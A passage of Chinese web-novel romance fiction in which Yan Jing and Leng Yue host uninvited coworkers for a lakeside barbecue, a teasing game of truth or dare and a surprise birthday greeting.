这一口加辣加麻胡辣汤版的孟婆汤!绝了!
阎璟只尝了一口,就冲进卫生间吐了起来。
黄仙儿吐了吐舌头,笑得调皮,“小少爷还真是……没口福呢。”
阎璟一边漱口,一边冲她摆手,“谢谢,这种口福,不要也罢。”
幸好冷樾还准备了几道清淡的小菜,不然阎璟宁可饿着,也绝不会再碰一口。
一家三口,哦不对,三人终于能心平气和,享用这顿将近快十点的早餐。
阎璟细嚼慢咽,将碗里冷樾夹的青菜全部吃完,就准备开溜,才半起身,冷樾热了杯牛奶直接放到阎璟面前,“喝掉。”
阎璟乖乖坐回去,伸手接过来,小口小口喝完。
见杯底已空,冷樾顺手抽了张纸巾递过去。
阎璟接过来,又乖巧擦擦嘴,纸团准确无误扔进垃圾桶。
再次起身。
冷樾头也没抬,就能预判他的下一步动作,“先在院子里走走消消食,再去荡秋千。”
这叮嘱,简直就像老父亲。
阎璟后知后觉的想反驳,一抬头,却撞见黄仙儿那双亮晶晶打量的眼神。
滴溜溜的眼睛,在两人之间转来转去,笑容很是微妙。
“看我干嘛?”阎璟问。
“小少爷,我没来的时候,你们也这么相处吗?”
阎璟想了想,似乎确实如此,便理所当然地点了点头。
黄仙儿哦了一声,拉长语调,“所以,你俩是一对?”
冷樾像是没听见,不接话,也不反驳。
阎璟见他沉默,自己也不知该说什么,干巴巴憋出一句,“他是我房东!”
“哦,我还以为他是你对象,或者你爸爸呢。管得
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这么细,我爸爸在家就是这么管我的。”
“噗!”这次是冷樾被呛到了。
童言无忌,童言无忌!
阎璟一脸黑线,嘴角抽了抽。
黄仙儿抿唇轻笑,低头继续吃饭。
突然,门外传来一道洪亮,又极有穿透力的声音,“喂!有人在家吗?”
“有客人来?”阎璟询问。
冷樾对他摇摇头,示意黄仙儿去看看。
黄仙儿神色一肃,放下碗筷,唰一下没了综影。
还没等冷樾和阎璟反应过来,她又唰一下闪回屋内,指着大门方向说,“外面来了好多人。”
看来是群不速之客。
这味道!真讨厌!
冷樾慢条斯理,擦了擦嘴,目光微冷,这些人真是闲的,“就说人不在,让他们走。”
黄仙儿转身又要闪现,被冷樾抬手拦住,无奈说道,“用走的。”
“哦。”她乖乖应声,下意识还是闪现,一瞬间没了人影。
冷樾:“……”
大门内侧,黄仙儿插着腰隔着门朝外喊,“我家大少爷说了,他不在家,你们走吧!”
阎璟:“……”
屋里听得清清楚楚的两人,瞬间沉默下来。
话传的很好,下次别传了!
门外,几个人抱着鲜花,提着各色礼品,面面相觑。
白念生手里两大袋子吃食,大喊道:“我是白念生,是你家少爷的朋友。你去通报一声,他肯定会见我的。”
黄仙儿拿不定主意,又一溜烟跑回去汇报:“他说他叫白念生,是少爷的朋友。”
阎璟:“……”
“问问他,还有谁。”冷樾开口。
黄仙儿点头应下,刚要闪现,又被冷樾轻轻拦下。
他再次叹了口气,再抬起头时,那双瞳孔里明显带着冷冷的杀意,重复道:“给我用—走—的!”
“哦。”黄仙儿被他眼神吓到,浑身一颤,乖乖点点头,放慢脚步,乖乖去开门。
只不过这一次,她从餐听走到大门足足走了整整十分钟。
阎璟不由发出疑问:“她是迷路了吗?”
冷樾:“……”
门外不是别人,正是A8和A4小组成员。
哦,外加了一个死乞白赖非要跟来的孟小七。
“冷总监是住这吗?”孟小七有些怀疑。
“从金乔觉嘴里严刑逼供问出来,做不了假。”云为衫把鸭舌帽反带,猛吸一口气,走到门前准备直接开踹。
脚还没抬起来,白念生赶忙拉住她,“别冲动,里面有动静了。”
“地方这么大,还不给用闪现,两条腿很累的,哼!”黄仙儿一路嘟囔,一路吐槽。“可亏你们都是听力好的,但凡不好,这么远,鬼才听得到。”
哎,路远,听不到?
黄仙儿眼神一亮,走到刚刚的位置,双手再次叉腰,“你们讲话声音太小了,内室又隔得太远,我们家少爷根本听不到?”
阎璟默默坐回椅子上,低下了头,冷樾听着外面的声音,不由轻笑出声,“这就是你收的,可怜兮兮的小精灵?”
阎璟无地自容,小精灵看起来智商并不高的样子。
白念生有点烦了,“他听不到,你能不能听到?直接开门。”
黄仙儿捂着耳朵,“你的声音我也听的模棱两可,听不见,听不见,请回吧!”
云为衫把自己的东西,直接往闻不聊和尚身上一放,熟练地从安饶的小挎包里,搜刮出一道传音符,往天上一扔,“冷樾,开门呐!别躲在里面不出声,我知道你在家!”
“……”
41. BBQ的阎王大人
果然是他们几个阴魂不散的!
冷樾缓缓合上双眼,十指在餐桌上收紧成拳,眉宇间渐起怒火。
阎璟现在原地尴尬笑了笑,连忙上前拦住几乎要发作的人,“冷静,冷静!他们可能真有事呢!”
“他们真的没有事,纯属闲的!”冷樾怎么可能冷静得下来。
阎璟好不容易醒过来,又正逢周末,本来只多一个黄仙儿在这儿当电灯泡就已够他心烦,如今倒好,又来了一群不速之客。
原想着能与阎璟趁此机会培养感情,更进一步,这下全落了空。
“怎么办?他们不肯开门。”孟小七耸耸肩无奈极了。
云为衫冷笑一声,“本来只有八成把握是这儿,现在可以百分之百确定,我们没找错地方,他的窝就在这,准没错!”
说完,他朝屋内提高声音,再次喊道:“冷樾,再不开门,我可要来硬的了。”
一说来硬的,门后的黄仙儿却急了,“喂,你们想干嘛?硬的?你想文斗还是武斗,先划出个道来!”
“哟呵!还是道上的。”白念生一听可不得了,他平生最爱跟道上的人打交道。
于是把手里两袋重物塞给安饶,一把撸起袖子,上前一步拉开云为衫,站到大门正下方,“还挺有胆色!文斗怎么讲?武斗又怎么算?”
黄仙儿眼珠一转,“文斗嘛,就比吹牛,看谁吹的大;这武斗嘛,就比吃馒头好啦!谁吃得多,谁赢!”
怎么还比上了?
这画风不对吧!
阎璟实在听不下去了,起身离开往正门走去。
“你去哪?”
“我去看看。”阎璟想阻止这场荒唐的比拼。
他还没有走到大门口时,这两人的牛皮真的已经吹到了登峰造极的地步,堪称现代文明人的巅峰对决!
女士优先,黄仙儿先起步,“诗万首,酒千觞,几曾著眼看侯王。”
“吆喝,还是个文化人,看我的!”白念生上前一步,“吾将斩龙足嚼龙肉,使之朝不得回,夜不得伏!”
黄仙儿:“我当天是屋顶地是床,万物是我的后备箱,早起跟太阳喝个茶,晚上陪月亮拉家常。”
白念生插着腰,一条腿踩在石阶上,气势十足:“我家一环有楼房,家里豪车几百辆,还有千家国际银行,还有数以万计的丈母娘!”
云为衫在一旁把指节按得咔咔作响!
孟小七扭头问她:“手怎么了?
“很痒!很想打人!”
黄仙儿扯着嗓子不甘示弱,“半夜去偷牛,遇见鬼剃头,我帮鬼理发,鬼给我磕头。”
安饶在后面鼓掌!牛!
“够能吹!好样的!”白念生回头瞅了他一眼,眼神里全是吃里扒外的嫌弃。眼珠一转,立刻接上,“我脑袋顶天脚踩地,伸手就能抓飞机!昨夜跟阎王下象棋,他输了三盘直作揖!”
“……”阎璟越听越离谱,已经开始跟他扯上关系了!
不由脚步加快了些,再吹下去,天崩地裂了快!
黄仙儿牙一咬脚一跺,“我左脚踢龙王,右脚踏玉帝,不是跟你吹,阎王给我捶背!”
门外的白念生张嘴还想接,云为衫直接把人连嘴全堵上。
此时,阎璟已经走到正门,听在耳里的他是满头黑线,暗暗喝了一声,“都给我闭嘴!”
他朝黄仙儿使了个眼色,黄仙儿撇撇嘴退后一步。
阎璟上前一步,缓缓推开山庄大门。
门外一行人整齐排开,白念生打头阵,云为衫压阵,安饶,闻不聊,孟小七布阵。
真是好一个五行“八卦”阵!
众人一见阎璟,顿时欢喜起来。
孟小七抢先一步跑上前,一把拉住阎璟的手,满脸关切,“阎小璟,我们来看你了,身体好些没?最近提肛坚持锻炼了吗?”
“提肛?”
白念生一把将她拽回来,“收收你的哈喇子,表情也太恶心了。”
安饶和闻不聊朝阎璟点了点头,算是打过招呼。
云为衫则二话不说,推门就进。
经过黄仙儿身边时,他眼神微微一动,伸手在她脸上轻捏了一下,“原来狐假虎威的就是你这小家伙呀,还挺可爱。”
黄仙儿瞪大眼,摸摸脸蛋,“你居然敢非礼我!”
“别闹,”云为衫毫不在意的摆摆手,“咱们不在那个非礼的频道上。”
一旁的真贫道和真贫僧手上提着大包小包,也跟着跨过门槛往里走。
十分钟后,一众人浩浩荡荡,叮铃咣啷出现外冷樾面前。
冷樾的脸色已经难看到了极点。
阎璟想打圆场,话到嘴边却只干巴巴挤出一句:“远来是客……”
云为衫嘿嘿两声,“阎小璟身体不适,我这作为组长,不能来看他一眼?”
冷樾望着后面一串糖葫芦,“那后面的这些人呢?”
“都来看他啊!我带的组,最不缺的就是人情味。”云为衫理直气壮,“再说了,四组和八组往后合作多着呢,提前熟悉熟悉也好。”
“就这么定了!”云为衫转身对组员宣布,“以后每个月抽一两天,咱们就来冷总监这儿联络感情!”
身后四人齐刷刷鼓掌:“组长英明!”
全票通过。
冷樾垂在身侧的手已经暗暗握紧,那点所剩无几的好脾气,已经快被磨光了。
阎璟察觉到他隐隐怒火的手,连忙上前拉住,凑近身边轻声安抚,“不是什么大事,人多热闹嘛!你看这个山庄又大又冷清,这现成的人,就当他们给你暖房了。”
冷樾侧头看他,“你真这么想。”
阎璟用力点点头。
”罢了。”冷樾虽不待见他们这群不速之客,但对阎璟的话,他没办法做出拒绝。
一旁的孟小七嘴角都快咧到耳根了。
刚才那情景,就活像一家之主要发火,却被当家主母三言两语给劝住了似的,太对味了!
白念生把他们所带的东西往庭院里一放,叮铃咣当,烧烤炉,烧烤架,烧烤铲,烧烤刷……
“你们准备在我家野餐?”冷樾有些不可思议。
阎璟因为不懂,但看着满地的东西,也很是稀奇。
云为衫坐在石桌前,大腿翘二郎腿,“在家里,就不叫野!出门,才叫野?”
“强词夺理。”
云为衫哪里不知道冷樾在不爽什么,无非是嫌他们打扰了他跟阎小璟二人世界。
可阎小璟这人,内里就算熟透了也主动不了,总得有个外力推他一把。
于是,她偷偷在识海里给冷樾传话,“亲爱的冷大总监,我可没忘记我一年的带薪休假呢!”
冷樾低垂的眼眸瞥了她一眼,“你别乱来。”
“怎么叫乱来,我是来当红娘的。如果我没猜错,那天在游乐园,你跟阎小璟表白了吧!”
“……”
“还被拒绝了吧!”
“……”
“哦吼吼吼,男人,你的不爽都写在脸上了。”云为衫声音里的幸灾乐祸,藏都藏不住,让冷樾忍不住十分想揍它。
“放心,有我在,包你拿下阎小璟!”
BBQ
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嘛!自然人多热闹!
黄仙儿也挺好奇,开始带着白念生在庄子里选位置,几人来来回回,考虑再三,院子里花花草草可不能受到一丁点儿伤害。
不然,冷樾估计会把他们生剥蘸酱油吃了不可。
于是,选来选去,目的地落在湖中央的湖心亭上。
不错,万一烧烤时操作不当再烧起来,取水也方便。
白念生自我感觉良好,“鄙人可谓天才也。”
旁边正在帮忙整理竹签的安饶,和整理食材的闻不聊,十分配合默契鼓了鼓掌。
阎璟看得心痒,也想参与其中,从一堆破铜烂铁里挑出一把刀,凑过去帮孟小七切菜。
只是一刀下去,“啊!”
孟小七吓了一跳,旁边念经的,画符的同样虎躯一震。
正往这边走过来的冷樾和云为衫听到声音,心里也咯噔一下。
“怎么了?切到手了?”冷樾快步走回去。
阎璟举起手指,迎着日光看了看,“好像没有。”
话音刚落,那原本白皙修长的手指突然出红点点来,开始不断往外渗血。
“等等,他反应有点慢,现在流了。”
冷樾心头一揪,上前握住他的手就往卧室带。
临走前,还不忘回头冷冷扫了众人一眼。
孟小七一阵内疚,她刚刚应该阻止才对!
云为衫和白念生对视一眼,默契开口:“他不会把这笔账算我们头上吧?”
刚从前院找到纸巾,纸杯,毛巾之类的刚回来的黄仙儿,正好撞脸两人手牵着手往后院去了。
这就牵上了?
少爷们发展迅速。
冷樾拎来医药箱,准备给阎璟处理伤口。伤口看着出血不少,其实并不深。他把人按在椅子上,“手伸出来我看看。”
阎璟乖乖伸出手指。
冷樾转身去拿碘伏,再回头时,伤口竟然已经不见了。
只有一点残留的血迹,证明这里曾经破过皮。
阎璟自己也愣住了。
这……当着冷樾的面愈合了?这该怎么解释?
冷樾动作只顿了半秒,便像没看见似的,低头继续用碘伏擦拭,然后仔细贴上创可贴。
阎璟眨眨眼,看看冷樾低垂的侧脸,又心虚地移开视线,他应该没发现吧?毕竟背着光,手指上又有血,血迹盖住了伤口……
逻辑自洽。
完美。
贴好创可贴,阎璟为了演得更逼真,小声抽了口气:“嘶……疼。”
“疼?”冷樾立刻抬头,拉起他的手轻轻吹了吹,“还疼吗?”
这口气,简直像在哄小孩。
阎璟偏过脸,耳根微红:“不、不疼了。”
湖心亭上。
闻不聊接通电话,电话那头不知道说些什么,众人罕见的从他眼底看到了笑意。
“谁的电话呀!”
闻不聊没接话头,继续手上的活。
“女朋友呗!”孟小七抢答,对闻不聊眨眨眼睛,“小和尚可是有女朋友的人,哪像你们一个个单身狗,对吧!”
云为衫想起来,拍拍脑袋,“对啊。游乐园那天,你也是接了通电话,就被一辆车接走了,说!那是不是你女朋友。”
白念生经典台词:“坦白从宽,抗拒从严,别逼我挖你祖宗十八代。”
“……”
只见闻不聊双手合十,神色平静,十分淡定:“阿弥陀佛!出家人不打诳语,贫僧没有女朋友。”
“没有就没有呗!这么正式做什么!”白念生继续刷油。
42. 真心话与大冒险
四月的天,是恰到好处的温柔,即带着三月乍寒的清凉,又有初夏时分,正午阳光的奔放!
湖心亭之上。
远远就瞧见白念生正从烤架上,捏起一串串黑黢黢的东西往盘里摆,嘴里还念念有词,“嗯,应该熟了。”
黄仙儿伸着脑袋凑上前,盯着那一盘跟黑炭似的肉块,眨了眨眼,“小哥哥,你是在炼仙丹吗?”
白念生不好意思抓抓头发,他居然还有点不好意思?但脸上却没有丝毫抱歉,“你这话太冒昧了,这是吃的。”
闻声,云为衫朝这边走过来,随手拈起一块,指尖稍一用力,那黑块便簌簌往下掉,片刻碎成渣渣,连带着她手上也沾了一层黑灰。
她潇洒的朝手上吹了口气,挑眉道,“你也知道这是吃的?这怎么下得去口?”
一个个都嫌弃他的手艺。
“我能吃!”白念生不信邪,抓起一块就往嘴里塞。
嗯,还挺脆!
他又接二连三吃了好几块,转眼间,就把那一盘黑炭消灭干净。
旁边几个人惊呆了!真没必要为了证明能吃,把命给搭上!
起先显性特征是嘴角乌黑,牙齿乌黑。慢慢,隐性特征也开始展现出来,肚子开始隐隐作痛。
白念生捂着肚子,眉头皱到了一起,“哎呦!大事不妙!”
黄仙儿咦一声,捏着鼻子后退好几步,一脸嫌弃,“我爸爸从小教我,仙丹不能多吃,容易消化不良。”
白念生肚子咕噜咕噜翻腾起来,捂着肚子快步离开,刚走两步,正好迎面撞上回来的阎璟和冷樾,又急忙问,“你家洗手间在哪儿?”
阎璟指了个方向。
白念生拔腿就跑!
“他怎么了?”回来的阎璟随便找了个位置坐了下来了,一脸茫然问。
黄仙儿接替白念生烧烤的活,很明显,效率太慢,索性孟小七也过来帮忙。
孟小七头也不抬回阎璟的话,“中毒了,得去排毒,你的手怎么样了?”
黄仙儿忙问,“手怎么了?”
阎璟摇摇头,“没事了。”
何止没事,伤口已经恢复如初。
冷樾也随便找个位置,坐在亭边赏荷,云为衫在暗中给他使眼色,目标直指阎璟,他也权当看不见。
此时,闻不聊的手机又响了,云为衫好奇朝他那边瞅了一眼,和尚反应极快,立刻挂断,改成发送消息。
这边几个人围绕烧烤架说说笑笑,开心不已。
阎璟好奇那一堆的佐料,挨个拿起来看,拿起来闻。
“想吃什么?我帮你烤。”孟小七笑吟吟的。
阎璟虽有些好奇,但并无太多食欲,或许是刚用过早饭。“我不饿。”
“不饿也能尝尝嘛,今天可以通宵。对了,我们还带了酒!”
在一旁默默观察阎璟的冷樾,一听便不悦的皱起眉头,“你们还准备通宵?”
云为衫乐了,“明天又不上班,难得轻松一下。”
“要轻松回家轻松去。”
云为衫懒得理他,凑到阎璟身边坐了下来,搂着脖子把人勾过来,“阎小璟,今天拼酒不?”
又拼酒?
阎璟已经记不清上次醉酒后做了什么,但冷樾说他干了不少出格的事,甚至还扒他衣服,可见酒这玩意儿实在不是什么好东西。
“不拼,我会醉。”阎璟直接拒绝。
“在自己家怕什么?醉了就直接回房睡。要不,让安饶给你画张解酒符?”
阎璟仍然摇头。
“……”云为衫眼珠一转,“那这样,咱们玩个游戏。”
“什么游戏?”阎璟问。
“真心话大冒险!”
一旁孟小七立刻领会了云为衫的意图,在一旁开始帮腔,立刻举起手来,“这个好玩,我要玩我要玩!”
云为衫悄悄朝开团秒跟的孟小七竖起个拇指,“一起?”
“好耶!”
“怎么玩?”阎璟好奇心被他们勾起来了。
云为衫眼珠一转,开始介绍规则,“抽签,谁抽到鬼,谁就是惩罚对象,被惩罚的人可以选择真心话或者大冒险。以道心起誓,真心话必须如实回答,大冒险也必须完成。”
道心?玩这么大?
阎璟有点想打退堂鼓,“要不……咱们直接喝酒吧?”
“晚了!”云为衫秒拒!
孟仙儿自告奋勇主持大局,“那我来做主持抽签!”
后面安绕,闻不聊,冷樾三人不想玩也不行,孟仙儿眼疾手快已经从云为衫手上拿到签筒,第一时间递到他们面前了。
第一轮鬼签:闻不聊。
众人一脸失望,这小和尚太闷太无聊,挖不出什么爆炸性的新闻来,第一签给他简直浪费!
孟仙儿带着专业的微笑,开始提问:“真心话还是大冒险?”
闻不聊果断选择,“大冒险。”
云为衫想了一下,随意打发,“那就从湖心亭用轻功水上漂,到对岸,再回来,脚不能碰到水。”
阎璟在一旁暗暗吸口气:天呐,任务这么难!换作现在这么弱的自己,肯定做不到。
只见闻不聊淡定起身,纵身一跃,借亭檐之力,掠向彼岸方向,中间丝毫未停歇,到达彼岸后,随手摘几片树叶,摘叶飞花,向空中一抛,再借助树叶,一片两片,脚尖轻点,稳稳落地。
毫无难度。
众人皆是意料之中的失望之色。
和尚不喝酒,以茶代酒一饮而尽。
孟仙儿:“继续。”
第二轮,终于轮到阎璟,几人眼里泛着精光,可算来了!
只有阎璟心里在想,运气也太差了,第二轮就中招。
要是大冒险都是闻不聊这种难度,他肯定完不成。
“呃……我选真心话!”阎璟抱着侥幸的心理。
熟不知,众人心中统一声音:嘿嘿,等的就是你这句话。
云为衫和孟小七对视一眼,眉毛轻挑,直接问个爆炸性问题,只有短短四个字,却足以毁天灭地,“破身了吗?”
问题一出,冷樾狠狠瞪了云为衫一记眼神杀。
而在旁边的阎璟,耳根瞬间通红起来,一路蔓延到脖领,神情也开始变得不自然起来。
这是真心话的问题?这么私人又让人害臊。
阎璟微张嘴巴,就是迟迟不开口。
黄仙儿在一旁小声提醒,“小少爷,以道心起誓,可不能撒谎哦!”
渐渐地,阎璟的脸颊,脖颈,乃至手臂全都红透了。
对面闻不聊和安饶皆是一副看热闹不嫌事大,用赤裸裸的目光的打量着他,每个人都在等他的答案。
冷樾居然也是。
阎璟闭上眼,低下头,皱着眉,犹犹豫豫,最后只能认命一般,实话实说,“……没有。”
说的同时几乎泄了一口气!
他真的很想消失!
“意料之中。”云为衫嘎嘎笑起来,对着冷樾挑一挑眉,似乎在邀功!
阎璟仰头灌下一杯酒,慢吞吞挪到冷樾身边坐下,低下头再也没起来过。
冷樾望着他的目光中,似乎在思考些什么!
还没来得及跟阎璟说上一句话,冷樾就抽到第三轮的鬼!
果断选择大冒险。
云为衫眼都不眨也不看他,直接发布任务,“去给白念生念一段百字的土味情话。”
给白念生!
冷樾眼中冷意能冰封千里,他真恨不得弄死这只臭狐狸!
逼于无奈,最后冷樾还是去了。
于是,刚从洗手间出来的白念生,就遭受了此生最痛苦的精神折磨,那威力一点不逊色于他烤的肉串!
冷樾面无表情,又十分无奈的念完,转身就走,一刻不停留,完全无视直接石化在原地的
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白念生。
第四轮,又是阎璟。
阎璟有些无语,再次感叹自已这屎一样的运气,“……这,大冒……不,还是真心话吧!”
云为衫嘴角上扬,直接一步到位,“你喜欢我们冷樾总监吗?”
孟小七在一旁倒吸一口凉气,似乎比正主还要紧张。
不出所料,阎璟的脸瞬间又红了。
这都是什么问题……!谁能来救救他!
后面还有两个看热闹的,真闹心!
黄仙儿再次小声提醒,“道心……”
“我知道,你别说了。”阎璟唯一庆幸的是,冷樾去折磨白念生了,暂时不在现场。
当事人听不见,应该就没多大关系。
“我想,我……应该是喜欢他的,但应该无关爱情,就是有一点点好感。”阎璟声音压得很低,也很走心。
喜欢是喜欢的,但是上升不到爱的地步,他喜欢和冷樾相处,也是因为他身上有温柔的阳光到味道,这是他在冥界地府长年累月接触不到的光。
而恰逢冷樾此时刚好回来。
云为衫眉毛一挑,紧追不舍,“喜欢谁?我没听清,要说名字。”
阎璟豁出去了,“喜欢冷樾。”
“谁喜欢冷樾?主语呢?”孟小七开团秒跟。
“我……有点喜欢冷樾。”阎璟已经被磨到没脾气,自暴自弃只想赶紧结束拉倒。
而此刻,冷樾就站在他身后,听得一清二楚。
脸上又惊又喜,阎璟察觉众人怪异的笑意,视线回头一望,差点把自己吓死。
冷樾什么时候回来的?那刚刚他说的话,他都听见了。
“不是,我到意思是,我……我有点……就是一点,不是那个意思。”阎璟立刻兵荒马乱起来。
黄仙儿为了吃瓜,不知道什么时候挪到阎璟身下,蹲在他腿边,捧着脸,还是那句台词,“道心……”
“我……”阎璟已经不知道该说什么好,我我我个半天说不出一句完整的话来!
冷樾见他如此着急,立刻按住他的肩膀,安抚着他,“没事的,我不会当真,你别有负担。”
阎璟捂着脸不想说话了,跑到一旁抱着柱子装死。
众人给冷樾递眼色,冷樾反击回去,提醒他们别玩太过。
没多会儿,黄仙儿的签又来了。
最后才递到阎璟面前,抽出来一看,嘿嘿!又是鬼!
阎璟:“……”
冷樾走过去坐到他身旁,用手阻止他撞柱子寻死的动作。
但阎璟这次无论如何都不会选真心话了,于是,“我选大冒险。”
等的就是你这句话。
云为衫脱口而出,“亲一下坐在你旁边的人。”
坐在阎璟身边的有两人,一个人闻不聊,一个是冷樾,冷樾离他最近!
云为衫的要求一出,闻不聊立刻念着“阿弥陀佛”起身开溜。
他一溜,旁边的人就换成了安绕,那怎么行,安绕也开溜。
此时,阎璟身边只剩下冷樾!
太难了!
阎璟后悔了,他万万没想到,一开始的闻不聊和尚的轻功水上漂居然是最简单的。
阎璟无论如何都做不出主动去亲吻冷樾的举动,刚刚已经让他足够尴尬,这要是发生,后面他就可以不用出现了。
正纠结着,冷樾的一只手伸到阎璟面前,阎璟一时间没有反应过来,冷樾在他耳边轻声说了一句。
阎璟睁大了双眼,还可能这样?
于是牵起冷樾的手,放在自己唇边轻轻一吻,温暖的唇碰上手背。
冷樾目光深邃,目光几乎热烈到将面前的人融化,
阎璟足够认真,虔诚!
孟小七一边喜极而泣,一边又开始录视频。
这可是珍藏版!她要刻成绝版光碟,以后等她死了,让后人烧给她,带地府去继续磕!
43. 无名分的冷樾大人
那一吻,让周遭时间瞬间凝固。
阎璟嘴唇刚碰到手面,就好像像被烫到一样,只一瞬,便猛然弹开,因为动作稍大,还差点从亭边摔下去,冷樾不动声色的快速出手,稳住他身形。
不知道是不是那一吻的关系,让冷樾碰到自己地方,虽然隔着衣服,但就是让阎璟觉得整条手臂都在发麻。
“哦吼——哇偶!”云为衫带头起哄,一脸我把事情搞得很到位的优越感。
孟小七同样捂着嘴热泪盈眶,一脸满足。
安饶在一旁恰到好处的吹起口哨。
连一向淡定的闻不聊都挑了挑眉,默默双手合十,“阿弥陀佛。”
冷樾缓缓松开手,脸上依旧没什么表情,只是看着阎璟几乎害羞到,几乎把脑袋钻到地底的鸵鸟行径,声音比平时更温柔了些,“……游戏而已,没事的。”
你说没事就没事?他可是第一次啊!还是众目睽睽之下。
阎璟压根不敢抬眼看他,抓起面前的酒杯又是一饮而尽,却因为喝得急,被呛得咳嗽起来。
“好了好了,继续继续!”孟仙儿忍着笑打圆场,继续抽签。
接下来的几轮,阎璟都在向上天祈祷别再抽中自己,熬不住了。
好在运气似乎转移了,鬼签依次落在了孟小七,安饶以及黄仙儿身上。
挨个做完不痛不痒的任务,气氛重新活跃起来。
烤肉的香气,混合着周围的花香,酒香,在初夏傍晚的风中,随之飘散。
就在阎璟稍微放松时,新一轮的鬼签,再次被他抽中。
“……”阎璟心里一咯噔,猛闭上眼,不忍直视。
他深深觉得这签,一定被他们动了手脚。
“真心话还是大冒险?”云为衫笑得像只狐狸,不,她本来就是狐狸,“友情提示,大冒险的尺度可能……会比刚才更大哦!”
想到刚才那个的手背吻,阎璟头皮发麻,可不能再来一次,“……真心话!”
云为衫和孟小七暗暗交换了一个眼神。
这次由孟小七发问,她声音笑的甜甜的,问题却直击要害,“阎小璟,你刚才亲冷总监手背的时候,心里在想什么呀?要具体一点哦!”
这比问他喜不喜欢冷樾的问题更让人难为情。
孟小七压根就不是个乖女孩!
众人的目光再一次落在他身上,眼神里个个充满了好奇与探究。
你们饶了我吧!他真的快跪了,为什么别人都很简单,到他这就是地狱级别的。
他宁愿轻功水上漂,或者胸口碎大石也行。
阎璟低着头,试图回忆刚刚那一刻的瞬间,却发现被当时羞涩冲击的,回忆里竟有些模糊,只记得冷樾的手轻轻柔柔,很软,很温暖。
“……很暖。”他听到自己声音就这么脱口而出。
云为衫愣了一下,随即爆发出更大的笑声。
孟仙儿也忍俊不禁。
连冷樾的嘴角也控制不住的向上弯了一下,但很快又抿平。
“好了,别逗他了。”冷樾终于开口,将一盘烤得色泽金黄的肉串,放到阎璟面前,“吃点东西吧!”
冷樾明显在替他解围。
阎璟感激不尽,低着头,默默拿起一串狠狠咬了上去。
还是美食能稍稍安抚一下他几乎社死的灵魂。
正在这时,白念生终于拖着虚浮的脚步慢悠悠飘回来,“你们干嘛呢?有没有给我留点吃的?”
“有有有,仙儿烤了好多!”孟小七给他搬个板凳,招呼他。
白念生坐下,先是给自己灌了两大杯啤酒,才后知后觉,发现场上的气氛有点微妙,尤其是阎璟和冷樾之间。
“我是不是错过了什么?”
“错过了年度大戏。”云为衫总结道,”你怎么这么久才回来,掉马桶里了?”
白念生拿起桌上的串,把嘴里塞得满满的,“还说呢,刚刚吓死我了。冷神不知道发什么神经,跑我面前念了一串土味情话,魂都快给我吓飞了。”
话音刚落,哄堂大笑。
“噗哈哈哈哈哈哈……”
孟小七更是看热闹不嫌事大,追问道,“他给你念了什么?”
冷樾的目光死死盯着白念生,可惜对方完全没有朝他看,当然也没有看到眼里那股子杀气。
白念生把嘴里的肉串嚼完,开始一本正经模仿冷樾那副面无表情,一切公事公办说话的语气,然后一字不落,全都给抖落出来,他说:“你今天是不是偷偷在我心里放风筝了?
不然怎么你一笑,我整颗心就跟着飘起来,线轴还在你手里攥得紧紧的,一拽就疼,一松就想你。
我算是看明白了,你就是个不讲道理的人。不讲天文地理,只讲我喜欢你。
今天走在路上,连影子都学你,歪歪扭扭赖在我脚边不走。
你说,连没有生命的东西都舍不得我,你呢?”
安饶简直想为冷樾鼓掌,冷樾还真念了这么一大串,闻不聊看冷樾的眼神里都带着不可置信。
真想看看当时冷樾是什么表情啊!肯定特别有趣。
“那你怎么回他的?”孟小七问。
白念生再次猛灌口酒,“啪”一声,把杯子往桌上一搁,“我说,我想死!”
众人又是一阵爆笑。
只有冷樾面无表情地坐在原地,后槽牙都快咬碎了。
阎璟同样憋笑不已,刚刚白念生声情并茂模仿的时候,他几次三番忍不住朝冷樾那张十分精彩的脸上看。
真是风水轮流转,往特么死里转!
突然间心里一下平衡了,因为终于不是只有他一个人尴尬了,好歹还有冷樾陪着他!
他慢慢也有点理解,这些人为什么总爱把快乐建立在别人的痛苦之上了,因为一个字:爽!
说是通宵,最后也没能真的通宵。
当然冷樾肯定不允许。
当晚上庭院里的花灯挨个亮起时,他便毫不客气地把所有人请出了家门。
几人意犹未尽,觉得还能大战三百回合。
不过可惜,冷樾在下午白念生念那串情话时,就已经自觉断了生路!还想通宵?门都没有。
“好漂亮的花灯!从哪儿买的?”临走前,孟小七只是随口问了一句,然后,她那一整夜都没能睡着,脑子里不断回想,喝的醉熏熏小脸红扑扑的阎璟,忽闪忽闪的大眼睛,特别骄傲地说:“是我和冷樾亲手做的。”
云为衫喝的有点多,临到门口才想起来一件事,“哦对了,还有一句话忘记说了,冷樾,生日快乐。”
正在关山门的冷樾顿在原地。
大家这才反应过来,纷纷转头对着冷樾送上祝福,“生日快乐,冷神!”
零零散散几句祝福说完,竟还一起开始唱起了生日歌,还是外文:“Happybirthdayto……”
冷樾一身鸡皮疙瘩,立马叫住,“停!回吧!”
云为衫哈哈一笑,他就喜欢看冷樾这幅死模样,简直太有趣了。身子一软重新挂在白念生身上,一个劲揪着白念生耳朵,“你小子刚刚嘴也没动。”
白念生疼的龇牙咧嘴,半点不敢忤逆她,只能受着。
“阎小璟喝醉了,春宵一刻值千金。这个礼物喜欢吗?”云为衫临走前还不忘调侃他。
冷樾无语:“滚吧!”
“哈哈哈哈……”
阎璟靠在冷樾身上,脑海里全是冷樾生日这几个大字。
他不知道是冷樾的生日!
他什么礼物都没有准备呢!
黄仙儿贪杯多喝了两口,直接倒在亭边醉的不省人事。
湖心亭之上,一片狼藉,也没人去收拾。
冷樾原想先把阎璟哄睡后再去清理,谁知阎璟抱着他的腰身死活不肯撒手,“生日快乐!”
“别听他们瞎说,我生日不在这一天,身份证上是假的。”冷樾被他声音萌化了,抱着往回走。
“那不管嘛!他们都说了,我也要说。”
“好好好!你说也说过了,咱们先回去吧!”
阎璟乖巧点点头,整个人靠在他身上,一边走一边嘴里嘟嘟囔囔的,冷樾凑近耳边才听清楚。阎璟说的是,“你胡说……”
冷樾一时没明白,问,“我胡说什么了?”
阎璟呼出的气息带着酒香,轻轻拂在冷樾耳边和脖领处,使他血脉喷张,“我喝醉了才不会脱别人衣服……”
原来是这事,这人居然还记着。
“我从来不脱别人的衣服,要脱也
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是脱自己的。”阎璟又补了一句,说着就真把自己的外套扯了下来。
冷樾喉结不自觉的动了动,眼神渐渐转深,把他脱下的外套搭在手臂处,两人亦步亦趋慢慢朝卧室走去。
回到卧室的阎璟似乎才开始正式醉酒,这边跑那边滚,冷樾把他的衣服整理好,放好,回头一看,好嘛!人已经差不多钻床底去嘞。
